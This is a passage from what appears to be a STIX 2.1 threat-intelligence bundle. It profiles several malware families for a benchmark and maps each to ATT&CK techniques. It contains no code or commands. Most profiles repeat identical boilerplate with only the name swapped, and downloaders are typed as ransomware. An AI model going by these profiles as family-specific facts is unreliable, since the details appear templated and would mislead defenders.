related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Ursumdt reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 3)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Ursumdt",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/ursumdt"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--78a3c81b-c705-5200-a606-6804a8e03c01",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--94b32900-f3d6-58c3-9ef5-811b0ab3a40a",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ursumdt exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f1d6788f-d4de-500f-bd45-24b8254888c0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--94b32900-f3d6-58c3-9ef5-811b0ab3a40a",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ursumdt exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ed021a1a-5c63-5a9e-9fef-2b54278c1dac",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--94b32900-f3d6-58c3-9ef5-811b0ab3a40a",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ursumdt exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--30b73042-2b66-595f-a698-85d4a7903d5e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--94b32900-f3d6-58c3-9ef5-811b0ab3a40a",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ursumdt exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e790a0c3-4057-5177-a1bf-c8708ed5150a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--94b32900-f3d6-58c3-9ef5-811b0ab3a40a",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ursumdt exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--d38cab87-01ae-5836-a6fb-7f1455a9842c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Uruasy",
      "description": "<h3>Executive Summary</h3>\nUruasy is a malicious Trojan designed to covertly infiltrate Windows systems, establish persistence, and act as a reliable downloader for remote threat actors. It is frequently utilized in the initial stages of a cyberattack to gather system intelligence and facilitate the automated deployment of secondary, highly destructive malware payloads, such as enterprise ransomware or banking trojans.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nUruasy is predominantly distributed through socially engineered spam campaigns containing malicious attachments (often weaponized PDFs or Office documents utilizing macro exploits) or via compromised software installers downloaded from untrustworthy web portals.\n\nUpon successful execution, Uruasy operates with a focus on stealth and payload delivery:\n<ul>\n<li><strong>System Reconnaissance:</strong> The trojan immediately collects detailed system information, including the OS version, installed software, Active Directory domain membership, and active antivirus solutions. This fingerprint is transmitted to a command-and-control (C2) server.</li>\n<li><strong>Persistence:</strong> Uruasy ensures it survives system reboots by modifying the Windows Registry (e.g., adding entries to the `Run` or `RunOnce` keys) or by creating hidden Scheduled Tasks that execute the malware payload under high privileges.</li>\n<li><strong>Payload Delivery:</strong> Acting as a downloader, Uruasy receives instructions from the C2 server to silently download and execute secondary malware. This provides the attacker with a flexible platform to escalate the attack based on the value of the compromised host.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nAn Uruasy infection represents a significant breach of the endpoint perimeter. Because it provides remote attackers with the ability to execute arbitrary code, a single compromised machine can rapidly be utilized to pivot laterally and compromise the entire corporate network.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Endpoint Detection and Response (EDR):</strong> Configure EDR solutions to monitor for anomalous registry modifications and unauthorized outbound network connections to unknown IP addresses.</li>\n<li><strong>Network Isolation and Sweeps:</strong> Immediately isolate the infected endpoint from the LAN. Conduct a thorough forensic sweep to identify not only the Uruasy executable but also any secondary payloads it may have successfully deployed.</li>\n<li><strong>Credential Reset:</strong> Because Uruasy frequently facilitates the deployment of info-stealers, all user credentials associated with the compromised endpoint must be treated as compromised and immediately reset.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Uruasy",
        "Downloader.Uruasy",
        "Win32/Uruasy"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Uruasy",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/uruasy"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4c1289cb-5718-5d8d-bbd8-53a77f4fc19a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d38cab87-01ae-5836-a6fb-7f1455a9842c",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Uruasy exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6565bbbe-392c-5b5e-91e1-44757875717e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d38cab87-01ae-5836-a6fb-7f1455a9842c",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Uruasy exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--99a832b4-0536-5439-913d-82b2782f2b78",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d38cab87-01ae-5836-a6fb-7f1455a9842c",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Uruasy exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--0847e86a-b9ca-50a1-9700-841c41580c89",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Usteal",
      "description": "USteal (cataloged across security intelligence feeds under signatures including Trojan-PSW.Win32.USteal, PWS:Win32/USteal, and Trojan.USteal) is a specialized password-stealing utility and credential harvesting trojan active since 2012. Engineered with a lightweight, standalone footprint, USteal is frequently deployed via autorun-enabled USB flash drives or dropped by initial access stagers. Upon execution on a victim Windows system, USteal immediately harvests saved authentication credentials, web browser history, cookies, and autofill vaults from major browsers (Google Chrome, Mozilla Firefox, Opera, Internet Explorer). In addition, it extracts stored credentials from email clients (Outlook, Thunderbird) and FTP applications (FileZilla). Harvested credentials and system metadata are consolidated into text or sqlite report files and covertly copied to connected removable storage media or exfiltrated via HTTP POST requests. (Observed samples in benchmark: 28)",
      "is_family": true,
      "malware_types": [
        "spyware",
        "credential-stealer"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan-PSW.Win32.USteal",
        "PWS:Win32/USteal",
        "Trojan:Win32/USteal",
        "Win32/USteal",
        "Trojan.USteal"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Usteal",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/usteal"
        }
      ],
      "labels": [
        "infostealer",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--6cc08f71-6c11-5bd3-bbed-c567634ff430",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Utoti",
      "description": "Trojan:Win32/Utoti is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Utoti</b><br>To an end-user, a Utoti infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Utoti is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Utoti is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Utoti frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Utoti reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Utoti",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/utoti"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ef114940-697c-5bee-99da-2d5dc9306b33",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6cc08f71-6c11-5bd3-bbed-c567634ff430",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Utoti exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0b04834a-fe51-530a-a738-2c233f62811d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6cc08f71-6c11-5bd3-bbed-c567634ff430",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Utoti exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b09c088f-c254-5ec5-acff-f3e39e637ac1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6cc08f71-6c11-5bd3-bbed-c567634ff430",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Utoti exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--bb083ca7-610c-5f7f-8aab-a34d2805e77a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6cc08f71-6c11-5bd3-bbed-c567634ff430",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Utoti exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b29ee7b1-bd68-53d8-8f56-919a77b411a3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6cc08f71-6c11-5bd3-bbed-c567634ff430",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Utoti exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--7fc2dc4e-f31b-59a7-9723-77690c6bd529",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Uwamson",
      "description": "Trojan:Win32/Uwamson is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Uwamson</b><br>To an end-user, a Uwamson infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Uwamson is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Uwamson is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Uwamson frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Uwamson reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 3)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Uwamson",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/uwamson"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7a96c41f-9e0a-57ec-93a1-6e55380e3dc8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7fc2dc4e-f31b-59a7-9723-77690c6bd529",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Uwamson exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c7cf8b9b-bbbc-596d-a935-9b6c5bc0634e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7fc2dc4e-f31b-59a7-9723-77690c6bd529",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Uwamson exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6d94e3d2-8756-5214-acfe-361f368b6585",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7fc2dc4e-f31b-59a7-9723-77690c6bd529",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Uwamson exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--95c3629b-bcf8-5104-969a-acee2fd4f45f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7fc2dc4e-f31b-59a7-9723-77690c6bd529",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Uwamson exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--76f30f04-ae2e-5530-95e9-3392ce88b07d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7fc2dc4e-f31b-59a7-9723-77690c6bd529",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Uwamson exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--4177e0cb-ed5e-58f8-b289-42519fca3e8e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Uztub",
      "description": "Trojan:Win32/Uztub is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Uztub</b><br>To an end-user, a Uztub infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Uztub is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Uztub is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Uztub frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Uztub reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 3)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Uztub",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/uztub"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--be347edb-539c-5db2-bb82-e779f416e527",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4177e0cb-ed5e-58f8-b289-42519fca3e8e",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Uztub exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ee3bb648-86e4-50a6-bd9e-ee997eda4f2f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4177e0cb-ed5e-58f8-b289-42519fca3e8e",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Uztub exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9a433c1f-2d50-5bff-8e4d-db39dca3fc85",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4177e0cb-ed5e-58f8-b289-42519fca3e8e",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Uztub exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f320aa28-a37c-5e60-97f7-b825aae30267",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4177e0cb-ed5e-58f8-b289-42519fca3e8e",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Uztub exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--bc99b044-2688-5950-9f70-52db0871c971",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4177e0cb-ed5e-58f8-b289-42519fca3e8e",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Uztub exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--c77cdbaf-3fce-5252-90d0-b294897c4f52",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Uztuby",
      "description": "Trojan:Win32/Uztuby is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Uztuby</b><br>To an end-user, a Uztuby infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Uztuby is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Uztuby is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Uztuby frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Uztuby reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 3)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Uztuby",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/uztuby"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--bf4d7706-feb8-5180-854b-f553cf33b8d5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c77cdbaf-3fce-5252-90d0-b294897c4f52",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Uztuby exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--586f45cf-9bdf-5731-9354-fd1014535cc5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c77cdbaf-3fce-5252-90d0-b294897c4f52",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Uztuby exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--45c5d2f3-0890-519c-8a7b-ae8cb82dcbe6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c77cdbaf-3fce-5252-90d0-b294897c4f52",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Uztuby exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c9107f58-4495-59f0-8c10-a63123b4721f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c77cdbaf-3fce-5252-90d0-b294897c4f52",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Uztuby exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--71b607fa-4dfd-5ccb-b12f-dcb7b2e7e4a0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c77cdbaf-3fce-5252-90d0-b294897c4f52",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Uztuby exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--8579fd10-ed39-5eba-a117-c64273359fee",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Vabushky",
